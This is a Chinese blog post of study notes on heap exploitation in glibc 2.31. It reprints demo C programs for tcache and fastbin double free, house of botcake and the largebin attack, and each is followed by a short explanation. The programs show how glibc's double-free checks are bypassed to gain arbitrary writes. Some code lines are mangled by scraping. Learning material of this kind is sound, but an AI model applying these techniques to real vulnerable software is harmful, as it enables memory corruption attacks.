heap exploit about ptmalloc in glibc version 2.31
阅读原文时间:2022年03月16日阅读:1

  学习的一下高版本的libc的利用方式。

  项目地址:https://github.com/StarCross-Tech/heap_exploit_2.31

tcache_dup

源代码:

1 #include
2 #include
3 #include
4 int main(int argc,char **argv)
5 {
6 //this is tcache
7 /*
8 *typedef struct tcache_entry
9 {
10 struct tcache_entry *next;
11 //This field exists to detect double frees.
12 struct tcache_perthread_struct *key;
13 } tcache_entry;
14 */
15 setbuf(stdout, 0);
16 setbuf(stderr, 0);
17 printf("tcache_dup can help you achieve \"arbitrary address writes\"\n");
18 void *p,*q,*r,*d;
19 p = malloc(0x10);
20 q = malloc(0x10);
21 free(p);
22 printf("now , we have a tcache which is already free\n");
23 printf("We can modify its next pointer!\n");
24 *(uint64_t *)p = (uint64_t)q;
25 printf("now p's next pointer = q\n");
26 printf("p's next = %p ,q = %p\n",*(uint64_t *)p,q);
27 printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!\n");
28 r = malloc(0x10);
29 d = malloc(0x10);
30 printf("OK!, we get we want!\n");
31 }

  u1s1,我看完之后没有任何收获。

fastbin_double_free

源代码:

1 #include
2 #include
3 #include
4 int main()
5 {
6 /*this is double free related security mechanisms in glibc 2.29.
7 * if (__builtin_expect (old == p, 0))
8 malloc_printerr ("double free or corruption (fasttop)");
9 * */
10 setbuf(stdout, 0);
11 setbuf(stderr, 0);
12 printf("fastbin_double_free can help you achieve \"arbitrary address writes\"\n");
13
14 void *q,*r,*d;
15 void *p[7];
16 printf("First of all ,we need to Apply for heap blocks of the same size to consume tcache!\n");
17 for(int i=0;i<7;i++) 18 { 19 p[i] = malloc(0x10); 20 printf("p[%d] ===> %p\n",i,p[i]);
21 }
22 q = malloc(0x10);
23 r = malloc(0x10);
24 printf("now , we need to free 7 heap blocks to populate tcache linked list!\n");
25 for(int i=0;i<7;i++) 26 { 27 printf("now free p[%d] ===> %p\n",i,p[i]);
28 free(p[i]);
29 p[i] = 0;
30 }
31 printf("now ,Our free heap blocks will be put into fastbin\n");
32 printf("now free q ===> %p\n",q);
33 free(q);
34 printf("in order to achieve double free , we need to free another block to bypass check in glibc 2.29 !\n");
35 printf("now free r ===> %p\n",r);
36 free(r);
37 printf("now we free q again!\n");
38 printf("now free q ===> %p\n",q);
39 free(q);
40 printf("OK,we already achieve double free in glibc 2.29.!\n");
41 }

  利用思路是,先free掉7个chunk来填充tcache,然后就和2.23的double free一样,free(a),free(b),free(a)来达到任意地址写。

tcache_double_free

源代码:

1 #include
2 #include
3 #include
4 int main(int argc,char **argv)
5 {
6 //glibc 2.29 Security Mechanism
7 /*
8 *if (__glibc_unlikely (e->key == tcache))
9 {
10 tcache_entry *tmp;
11 LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
12 for (tmp = tcache->entries[tc_idx];
13 tmp;
14 tmp = tmp->next)
15 if (tmp == e)
16 malloc_printerr ("free(): double free detected in tcache 2");
17 // If we get here, it was a coincidence. We've wasted a
18 few cycles, but don't abort.
19 }
20 */
21 setbuf(stdout, 0);
22 setbuf(stderr, 0);
23 printf("tcache_double_free can help you achieve \"arbitrary address writes\"\n");
24 void *p,*q,*r,*d;
25 p = malloc(0x10);
26 free(p);
27 printf("now we already free p = %p\n",p);
28 printf("we can change its key to help us achieve double free\n");
29 printf("its key = %p,now\n",*(uint64_t *)(p+8));
30 *(uint64_t *)(p + 8) = 0x122220;
31 printf("after we change,its key = %p\n",*(uint64_t *)(p+8));
32 printf("so we can achieve double free!");
33 free(p);
34 printf("now we already achieve double free in glibc 2.29");
35 return 0;
36 }

  在2.29及以上,chunk被free后存在tache时,为了检测是否被double free引入一个key值。再具体的东西我也不懂(菜狗不想看glibc源码)。

  这个例子的利用思路就是,free(a),然后修改a这个chunk的key值,然后就可以继续free(a)了,然后就可以实现任意写了。

house_of_botcake

源代码:

1 #include
2 #include
3 #include
4
5 static uint64_t victim = 0;
6 int main()
7 {
8 setbuf(stdin, NULL);
9 setbuf(stdout, NULL);
10
11 printf("Inspired by how2heap\n");
12 printf("You can use this technique to create chunk overlap, only relies on double free.\n");
13
14 printf("\n1. Alloc 7 chunks to fill up tcache list\n");
15
16 char *x[7];
17 for(int i=0; i<7; i++){
18 x[i] = malloc(0x100);
19 }
20
21 printf("\n2. Prepare two chunk with the same size as befor, for consolidation in unsortedbin\n");
22
23 char *a = malloc(0x100);
24 char *b = malloc(0x100);
25
26 printf("Padding chunk to prevent consolidation\n");
27 malloc(0x10);
28
29 printf("\n3. Fill in the tcache list and consolidation two prepared chunk in unsortedbin\n");
30 for(int i=0; i<7; i++){
31 free(x[i]);
32 }
33
34 free(b);
35 free(a);
36
37 printf("\n4. Get a chunk from tcache list and make chunk overlap\n");
38 malloc(0x100);
39
40 free(b);
41 printf("Now, chunk %p will be freed into tcache list\n", b);
42
43 char* res = malloc(0x130);
44 printf("Size is not matched with tcache list, so get chunk from unsortedbin, which makes chunk overlap\n");
45
46 *(uint64_t*)(res+0x110) = (uint64_t)(&victim);
47
48 printf("Now, you can control tcache list to alloc arbitrary address\n");
49 malloc(0x100);
50
51 char *target = malloc(0x100);
52 printf("Before attack, victim's value: 0x%lx\n", victim);
53 *(uint64_t*)target = 0xdeadbeef;
54 printf("After attack, victim's value: 0x%lx\n", victim);
55
56 return 0;
57 }

  利用double free构造堆块重叠。

  首先将tcache填充满,然后free两个同样大小的堆块a和b,让a和b合并。将tcache中的一个chunk申请出来,然后再次free掉b堆块,此时b堆块既在unsortedbin中,又在tcache链中。

  修改b堆块的fd指针为victim_addr,申请两次chunk,第二次就申请到victim_addr了。

largebin_attack

源代码:

1 #include
2 #include
3 #include
4
5 static uint64_t victim;
6
7 int main()
8 {
9 setbuf(stdout, 0);
10 setbuf(stderr, 0);
11
12 printf("You can use this technique to write a big number to arbitrary address\n");
13 char *p1, *p2, *p3;
14 printf("\n1. Create two chunk, and free the larger one into largebin list\n");
15
16 p1 = malloc(0x458);
17 malloc(0x18);
18 p2 = malloc(0x448);
19 malloc(0x18);
20
21 free(p1);
22 //trigger
23 malloc(0x600);
24
25 printf("Now the chunk %p is in largebin\n", p1);
26
27 printf("\n2. Free the smaller one into unsortedbin, and change chunk's bk_nextsize in largebin to &victim-0x20\n");
28 free(p2);
29 printf("Now the chunk %p is in unsortedbin\n", p2);
30
31 *(uint64_t*)(p1+0x18) = (uint64_t)(&victim)-0x20;
32
33 printf("\n3. Alloc a size not match the the chunk size in unsortedbin\n");
34 printf("It will trigger largebin attack, write a big number to victim\n");
35 printf("Before attack, victim's value: 0x%lx\n", victim);
36 malloc(0x68);
37 printf("After attack, victim's value: 0x%lx\n", victim);
38
39 return 0;
40 }

  创建两个大于0x400的chunk(a)和chunk(b),先将chunk(a)释放掉,让chunk(a)先落入unsortedbin中,再创建size比这个chunk(a)大的堆块,此时的chunk(a)就会进入largebins。

  将chunk(b)释放掉,将chunk(a)的bk_nextsize修改为victim-0x20,此时chunk(b)在unsortedbin中,申请一个比chunk(b)小的chunk,就会触发largebin attack,在victim处留下一个较大的数。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器